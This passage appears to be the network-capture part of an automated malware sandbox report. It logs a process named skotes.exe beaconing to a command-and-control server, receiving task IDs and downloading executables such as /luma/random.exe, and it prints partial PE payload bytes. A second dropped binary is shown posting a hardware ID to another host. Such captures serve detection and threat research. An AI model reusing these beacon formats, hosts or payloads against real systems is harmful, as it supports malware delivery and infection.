Oct 21, 2024 10:47:29.641309023 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64909 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:47:33.022631884 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:47:33.145607948 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64913 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 21, 2024 10:47:43.152779102 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 21, 2024 10:47:53.184159994 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49834	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:03.951976061 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 21, 2024 10:47:04.881408930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49850	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:06.393047094 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 38 37 36 42 36 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52876B65182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 21, 2024 10:47:07.330497980 CEST	926	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 64 66 0d 0a 20 3c 63 3e 31 30 30 30 34 38 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 34 39 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 30 34 39 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 34 39 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 2df <c>1000489001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1000490001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1000491001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1000492001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1000493001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1000494001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1000495001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1000496001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49855	185.215.113.16	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:07.339574099 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 21, 2024 10:47:08.256952047 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:08 GMT Content-Type: application/octet-stream Content-Length: 2964480 Last-Modified: Mon, 21 Oct 2024 08:30:03 GMT Connection: keep-alive ETag: "6716110b-2d3c00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 7d c1 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf0@0}-@Wk ^@.rsrc n@.idata n@udbvbywm**p@kynijqbn0-@.taggant00"-@
Oct 21, 2024 10:47:08.256978989 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:08.256995916 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:08.257045984 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:08.257071018 CEST	1236	IN	Data Raw: 8b cf 5e 7f 43 59 b5 43 cc 7e 0f 98 52 c8 ae 01 26 0f 44 88 c9 62 31 89 b9 1f 33 bb 3a 38 c9 46 f2 5b a3 bf 7b d7 9a 5f f0 a9 57 cd 9f 2e 8f 4d 79 7e dc dd c9 2a b9 5a ba 23 0b dc 52 0a f2 a4 82 2c 44 60 be ce 3b 42 ab 29 08 dd 99 bd 80 aa b4 56 Data Ascii: ^CYC~R&Db13:8F[{_W.My~*Z#R,D`;B)V-xxJ3 FyxjEohGw\_zLrCJI8YFB.E~jM,C#WM:kL?LjFA Aaxz;fDC/!"_69
Oct 21, 2024 10:47:08.257087946 CEST	1236	IN	Data Raw: 4e 60 4b 98 9b 3d 79 86 f3 c1 6c f2 5d 22 08 5b b6 e8 7d 0b 79 7a 34 6d 18 12 b4 07 ea d3 94 0d f3 ef b3 1a 22 8f 90 15 68 f5 50 c2 a1 85 09 b3 f6 ac f8 ff 2c fd 02 c6 b1 c6 7c c2 3c 89 52 42 eb c8 09 8b 7f 57 a2 b6 74 33 50 93 7f 92 28 eb b6 c6 Data Ascii: N`K=yl]"[}yz4m"hP,\|<RBWt3P(lyG+q0>[SJCqdmog)?9:wh29'jv0yo&yn%B)Nyj I@1KdF&2ow'tGX7u{m+lkQR7KXO
Oct 21, 2024 10:47:08.257103920 CEST	1236	IN	Data Raw: 99 29 50 24 99 49 f9 c4 60 cd c8 72 13 1b 9b 0d cd 04 a3 de 1d 65 85 ba b0 87 4d fd 93 e3 36 a1 4a 02 53 7d 06 f8 47 5d c1 33 6d 22 37 cc dd 8f b3 fa 7a 86 cb ce 81 c1 ee 6c 55 d7 67 56 0c 0f f7 2b a5 c2 e2 b5 cf 12 ae af f2 da fa 78 6c fc 92 2c Data Ascii: )P$I`reM6JS}G]3m"7zlUgV+xl,yrI+C`^*{K&)I[c`Z=L?M0jt}9/Fd2ebkCUCrbX7H]x=gDo17PK>g~^
Oct 21, 2024 10:47:08.257121086 CEST	1236	IN	Data Raw: 67 9d 5b 95 07 fa c0 21 f6 42 de 71 ab 8d cb 02 7e 5b bb 23 b3 52 a8 e4 c9 0d c5 be 49 f4 c4 ac 77 e1 f4 04 7a 8c 7c bf 86 72 06 4f 56 31 60 5b 08 c4 a7 42 dd 68 b2 84 ef 2e 5b 33 c1 62 41 d2 54 6b d1 42 52 a5 a0 25 54 50 a2 5f 9a ea 6b 37 6a 87 Data Ascii: g[!Bq~[#RIwz\|rOV1`[Bh.[3bATkBR%TP_k7jBhXq\|+s!>>u?P+s8r2`oWec'Z)0C\|>36/\;{F+N@niK'k5A7mK?z5ChK
Oct 21, 2024 10:47:08.257141113 CEST	1236	IN	Data Raw: 3b 6a 9c d3 5b 84 4f dc 87 de 8a 88 c7 e9 a5 89 11 fa 4b 6f 3d ff 7c 0a e2 a3 9a 56 02 f8 c8 4e 24 02 33 72 65 b4 c2 62 6a 6a d7 a1 9b 9e 90 a2 3d 01 37 57 b3 a7 45 bf cc bd ae a0 cb f6 91 1b 69 f6 f7 0c 76 8b 6c de cf 42 3f 2d a7 57 18 df 9d df Data Ascii: ;j[OKo=\|VN$3rebjj=7WEivlB?-WfO`-:ig-a lpIl2J;]LsB1<L55lnxmwQsfXwVsJMSeFO%zFcbQbv[?FY{RQ+
Oct 21, 2024 10:47:08.257158995 CEST	1236	IN	Data Raw: 8e 3b 27 6b 93 47 aa 4a 9e 42 88 83 de 29 51 86 8f b9 85 d9 44 57 5d 72 fc 9a 18 ea 18 ec 48 9e 71 b6 4a e0 54 4a f2 41 ee a1 e4 43 86 0e 46 95 9f e6 78 93 6d b7 86 99 79 8e 38 a7 e7 2c 9d bd 9a bd bd f2 4b d3 eb c1 6e 1e 18 67 5e 87 95 f5 53 1a Data Ascii: ;'kGJB)QDW]rHqJTJACFxmy8,Kng^S;?K#5+'(&Kph[yxnlVwYWm66*#xP4Okh}fd`JfhRe(rGf["#`IfJ3tirr//cOe
Oct 21, 2024 10:47:08.262099028 CEST	1120	IN	Data Raw: e8 38 b4 9d a2 8a 72 49 75 78 9d 18 8b eb 39 c0 8c 46 d0 8b a9 3b cb db d0 9f 91 bc 16 39 17 84 f2 32 49 d8 64 c6 fc 7f 22 75 30 7a 3c 3e 44 0a ed 44 8b a3 d3 ba 44 39 9e 2a f9 07 e1 2e ac e3 3c d2 81 f1 65 df 12 4e 22 b8 dd 97 e8 76 a2 dd 24 ef Data Ascii: 8rIux9F;92Id"u0z<>DDD9.<eN"v$n)gx+gOXu)!}VX!pE6l]IIFMirPX`gXyJ#T_:AG*`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49906	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:15.906517982 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 38 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000489001&unit=246122658369
Oct 21, 2024 10:47:16.827373981 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49914	185.215.113.16	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:16.836438894 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 21, 2024 10:47:17.758553982 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:17 GMT Content-Type: application/octet-stream Content-Length: 1887232 Last-Modified: Mon, 21 Oct 2024 08:30:09 GMT Connection: keep-alive ETag: "67161111-1ccc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0k@`k@P%d% %(@.rsrc %8@.idata %8@ *%:@yuntpzropPj<@dfroebje k@.taggant00k"@
Oct 21, 2024 10:47:17.758589983 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:17.758662939 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:17.758697033 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:17.758728981 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:17.758780956 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?K$7Ocl(X'PbIOS2_@qbba5 M+eSaII)0/l+#a79yNn&h$
Oct 21, 2024 10:47:17.758836985 CEST	1236	IN	Data Raw: 38 11 eb 19 9c fb 64 1f 14 d3 11 90 cc 9b e3 00 bc af 8e 3e e8 75 ff 77 38 5c 85 be 26 5f b7 64 58 80 95 15 41 bd 84 2b 45 0a 19 4b d8 d2 99 59 10 df 00 27 ec 3f 87 f4 40 2e c7 01 ab 51 01 20 48 1f cd 63 2c 6e c5 64 67 d8 4d 51 28 e1 41 e8 8f 8a Data Ascii: 8d>uw8\&_dXA+EKY'?@.Q Hc,ndgMQ(A$d'[t\k-_CDk~I26.)".7\;u-y)ZK:FR'\|mD (T,Bq:+#}ytg^c^]U
Oct 21, 2024 10:47:17.758869886 CEST	424	IN	Data Raw: 03 fd e2 55 30 7f 0a 4b 8c 0a b9 2a 5c e6 c2 94 84 88 05 7d 64 9c bb 66 49 a0 11 4c 4a 14 97 7c 13 a4 2e 42 0a 63 ea de c9 8f c4 8a 96 4d 2a 07 4f 9a 55 bb a8 61 05 16 2c 5f 17 c2 0e 1d 28 26 8c 52 c5 76 1f b0 0b 83 ed 81 cb 09 64 2a 17 d3 97 83 Data Ascii: U0K\}dfILJ\|.BcMOUa,_(&RvdnKYCXM:Rgb$.2'Yhg>llOz41%.!)D`@.3u,c0-bd6[CTBMj.7)G_}t&Xp5W'X)#t]D0rdzM"F%n7/j7
Oct 21, 2024 10:47:17.758902073 CEST	1236	IN	Data Raw: 27 59 04 4e c8 54 33 04 20 dc bb 44 04 a3 fc 36 2e fd dd c6 a9 ac fa ea d7 54 f5 1e 3f c4 49 25 ab ab fa ee ae 54 6a 9d bc a9 ef 12 af 28 a9 c6 47 54 52 59 d5 8d 09 64 4b ce 4d 9d 37 13 c9 30 de 1b fa 75 ba 1f 05 82 c7 60 2a 7d 74 a5 1d f5 36 27 Data Ascii: 'YNT3 D6.T?I%Tj(GTRYdKM70u`}t6' [b)MZ-Cul9XkK7A{om]5Lr'~MfoT>HiMxT^{t^T\|B8;rm>#CF#7#^/F;x@h{\-w47m<
Oct 21, 2024 10:47:17.758933067 CEST	1236	IN	Data Raw: 70 9d f3 c6 bc 54 26 1d 72 03 b5 ee 5b 17 74 6c 5c 27 49 e7 f6 23 71 19 44 4b c0 6a 9f 44 62 6c 92 9a db 91 2f ae fc e6 c7 d2 28 d1 77 72 de f5 36 6b 0e 0c c2 91 9d 8c 27 9f fc 54 dc 42 b5 1e 34 dd a9 16 2e af 04 5e 30 bb 61 b4 ff df fc c2 cb 66 Data Ascii: pT&r[tl\'I#qDKjDbl/(wr6k'TB4.^0afzHGTNY:o>l\nEP'k06Oul'C#kum,dM.3)Z*6}2zN.I M.Iz7pX\fe''T,,jhtl'EQm\|c^
Oct 21, 2024 10:47:17.766448021 CEST	1236	IN	Data Raw: d0 2c 20 63 c4 ff cc 99 90 a7 0d 6d b4 63 39 0b 7c 8c 5e e9 a7 54 f5 ce 3e fb 42 89 85 24 c6 de 36 13 89 5f a9 48 ee 6d 5a 1f cb 6d 58 2c 8c 72 50 6b 76 2d 88 27 d1 20 34 cc ec 05 37 ad 95 a2 92 47 75 6c 18 27 be e0 1d db 75 ee 8b 78 ea 9e 37 7e Data Ascii: , cmc9\|^T>B$6_HmZmX,rPkv-' 47Gul'ux7~))t<6xw"$T3M&TbtX$jGTFYq57k7ym+ojXWy$'k]y73&700(+m]M_t__ qTrT\:vVrGTYog]WW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49942	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:21.511548042 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000490001&unit=246122658369
Oct 21, 2024 10:47:22.425143957 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49947	185.215.113.37	80	2696	C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:21.935775995 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 10:47:22.844172001 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 10:47:22.899235010 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="hwid"900EDE3679012263180025------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="build"doma------HCFIIIJJKJKFHIDGDBAK--
Oct 21, 2024 10:47:23.188484907 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49950	185.215.113.16	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:22.432522058 CEST	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Mon, 21 Oct 2024 08:30:03 GMT If-None-Match: "6716110b-2d3c00"
Oct 21, 2024 10:47:23.333874941 CEST	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:23 GMT Last-Modified: Mon, 21 Oct 2024 08:30:03 GMT Connection: keep-alive ETag: "6716110b-2d3c00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49968	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:25.556422949 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000491001&unit=246122658369
Oct 21, 2024 10:47:27.436099052 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
